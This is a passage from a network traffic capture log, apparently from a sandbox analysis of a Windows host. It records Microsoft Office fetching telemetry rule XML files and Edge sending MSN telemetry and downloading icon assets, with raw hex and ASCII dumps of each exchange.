2024-11-11 18:17:55 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:55 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:55 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:55 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 1c14dce3-c01e-0079-04d5-33e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181755Z-174f78459684bddphC1EWRbht4000000052g000000007cyz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:55 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:55 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:55 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:55 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 1c14dccd-c01e-0079-70d5-33e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181755Z-174f7845968glpgnhC1EWR7uec00000005eg00000000cdan x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:55 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:55 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:55 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:55 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 31c5e564-101e-008d-76d5-3392e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181755Z-174f7845968c2t8dhC1EWR8s2000000004xg00000000s1ef x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:55 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.7	49894	20.189.173.18	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:55 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731355916605&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10064 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=021090CBA3AE69423B8585FFA2C968AB; _EDGE_S=F=1&SID=2F40E15050D86AB42E21F46451C96B10; _EDGE_V=1; msnup=; _C_ETH=1
2024-11-11 18:17:55 UTC	10064	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 31 54 32 30 3a 31 31 3a 35 36 2e 36 30 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 37 37 35 63 64 64 37 2d 62 30 36 64 2d 34 34 62 61 2d 38 34 37 37 2d 33 34 65 30 35 30 33 61 31 61 66 32 22 2c 22 65 70 6f 63 68 22 3a 22 31 31 36 37 37 36 35 38 30 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-11T20:11:56.604Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"0775cdd7-b06d-44ba-8477-34e0503a1af2","epoch":"1167765806"},"app":{"loc
2024-11-11 18:17:55 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=6b6a4b491c1a4f61a0301461b25aa5d5&HASH=6b6a&LV=202411&V=4&LU=1731349075832; Domain=.microsoft.com; Expires=Tue, 11 Nov 2025 18:17:55 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=2a232b732a99401fb94b76e346d1756e; Domain=.microsoft.com; Expires=Mon, 11 Nov 2024 18:47:55 GMT; Path=/;Secure; SameSite=None time-delta-millis: -6840773 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 11 Nov 2024 18:17:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.7	49900	13.107.246.40	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:56 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:17:56 UTC	516	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:56 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 841505ca-d01e-002a-1366-341d42000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T181756Z-174f7845968n2hr8hC1EWR9cag00000005100000000020dd Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-11 18:17:56 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:56 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:56 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 3ca8c4c6-201e-0096-0fd5-33ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181756Z-174f7845968cdxdrhC1EWRg0en00000005ag0000000048d4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:56 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.7	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:56 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:56 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 55c09f61-d01e-0082-16d5-33e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181756Z-174f7845968nnm4mhC1EWR1rn4000000055000000000suth x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:56 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:56 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:56 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 1c14ddc0-c01e-0079-51d5-33e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181756Z-174f7845968l4kp6hC1EWRe88400000005m0000000007g7c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:56 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.7	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:56 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:56 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 2f59fc8c-901e-002a-3cd5-337a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181756Z-174f7845968j6t2phC1EWRcfe800000005gg000000005kc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:56 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:56 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:56 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 904e9adf-b01e-003e-62d5-338e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181756Z-174f78459684bddphC1EWRbht4000000050000000000fvc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:56 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.7	49906	13.107.246.40	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:56 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
